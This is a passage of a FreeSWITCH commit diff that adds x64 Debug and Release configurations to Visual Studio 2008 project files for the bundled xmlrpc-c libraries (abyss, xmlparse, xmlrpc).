+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Release\Abyss/abyss.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -186,6 +339,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -194,6 +356,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\chanswitch.c"
@@ -208,6 +379,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -216,6 +396,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\conf.c"
@@ -230,6 +419,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -238,6 +436,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\conn.c"
@@ -252,6 +459,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -260,6 +476,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\data.c"
@@ -274,6 +499,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -282,6 +516,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\date.c"
@@ -296,6 +539,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -304,6 +556,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\file.c"
@@ -318,6 +579,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -326,6 +596,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\handler.c"
@@ -340,6 +619,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -348,6 +636,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\http.c"
@@ -362,6 +659,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -370,6 +676,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\init.c"
@@ -384,6 +699,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -392,6 +716,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\response.c"
@@ -406,6 +739,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -414,6 +756,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\server.c"
@@ -428,6 +779,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -436,6 +796,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\session.c"
@@ -450,6 +819,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -458,6 +836,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\socket.c"
@@ -472,6 +859,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -480,6 +876,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\socket_openssl.c"
@@ -495,6 +900,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					ExcludedFromBuild="true"
 					>
@@ -504,6 +919,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\socket_unix.c"
@@ -519,6 +944,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					ExcludedFromBuild="true"
 					>
@@ -528,6 +963,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\socket_win.c"
@@ -542,6 +987,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -550,6 +1004,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\thread_fork.c"
@@ -565,6 +1028,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					ExcludedFromBuild="true"
 					>
@@ -574,6 +1047,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\thread_pthread.c"
@@ -589,6 +1072,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					ExcludedFromBuild="true"
 					>
@@ -598,6 +1091,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\thread_windows.c"
@@ -612,6 +1115,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -620,6 +1132,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\token.c"
@@ -634,6 +1155,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -642,6 +1172,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\abyss\src\trace.c"
@@ -656,6 +1195,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -664,6 +1212,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 		<Filter

Modified: freeswitch/branches/seven/libs/xmlrpc-c/Windows/xmlparse.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/xmlrpc-c/Windows/xmlparse.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/xmlrpc-c/Windows/xmlparse.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -91,6 +94,81 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="..\lib\expat\xmltok,..\lib\expat\xmlwf,..,..\lib\util\include,..\include,."
+				PreprocessorDefinitions="NDEBUG;WIN32;_WINDOWS;XML_DTD;_LIB"
+				StringPooling="true"
+				RuntimeLibrary="0"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Release\xmlparse/xmlparse.pch"
+				ObjectFile="$(IntDir)\xmlparse\"
+				ProgramDataBaseFileName="$(IntDir)\xmlparse\vc90.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="..\lib\$(PlatformName)\$(ConfigurationName)\xmlparse.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Release\xmlparse/xmlparse.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug|Win32"
 			OutputDirectory=".\Debug\xmlparse"
 			IntermediateDirectory=".\Debug\xmlparse"
@@ -165,6 +243,81 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\lib\expat\xmltok,..\lib\expat\xmlwf,..,..\lib\util\include,..\include,."
+				PreprocessorDefinitions="WIN32;_WINDOWS;XML_DTD;_LIB"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\Debug\xmlparse/xmlparse.pch"
+				ObjectFile="$(IntDir)\xmlparse\"
+				ProgramDataBaseFileName="$(IntDir)\xmlparse\vc90.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="..\lib\$(PlatformName)\$(ConfigurationName)\xmlparseD.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Debug\xmlparse/xmlparse.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -186,6 +339,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -194,6 +356,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 		<Filter

Modified: freeswitch/branches/seven/libs/xmlrpc-c/Windows/xmlrpc.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/xmlrpc-c/Windows/xmlrpc.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/xmlrpc-c/Windows/xmlrpc.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -91,6 +94,81 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="../lib,../lib/util/include,../include,..,../lib/expat/xmlparse,../lib/abyss/src,../lib/wininet_transport,."
+				PreprocessorDefinitions="_DEBUG;WIN32;_LIB;ABYSS_WIN32;CURL_STATICLIB"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\Debug\xmlrpc/xmlrpc.pch"
+				ObjectFile="$(IntDir)\xmlrpc\"
+				ProgramDataBaseFileName="$(IntDir)\xmlrpc\vc90.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="..\lib\$(PlatformName)\$(ConfigurationName)\xmlrpcD.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Debug\xmlrpc/xmlrpc.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory=".\Release\xmlrpc"
 			IntermediateDirectory=".\Release\xmlrpc"
@@ -165,6 +243,81 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="../lib,../lib/util/include,../include,..,../lib/expat/xmlparse,../lib/abyss/src,../lib/wininet_transport,."
+				PreprocessorDefinitions="NDEBUG;WIN32;_LIB;ABYSS_WIN32;CURL_STATICLIB"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Release\xmlrpc/xmlrpc.pch"
+				ObjectFile="$(IntDir)\xmlrpc\"
+				ProgramDataBaseFileName="$(IntDir)\xmlrpc\vc90.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="..\lib\$(PlatformName)\$(ConfigurationName)\xmlrpc.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Release\xmlrpc/xmlrpc.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -186,6 +339,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -194,6 +356,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\double.c"
@@ -208,6 +379,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -216,6 +396,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\libutil\error.c"
@@ -230,6 +419,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -238,6 +436,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
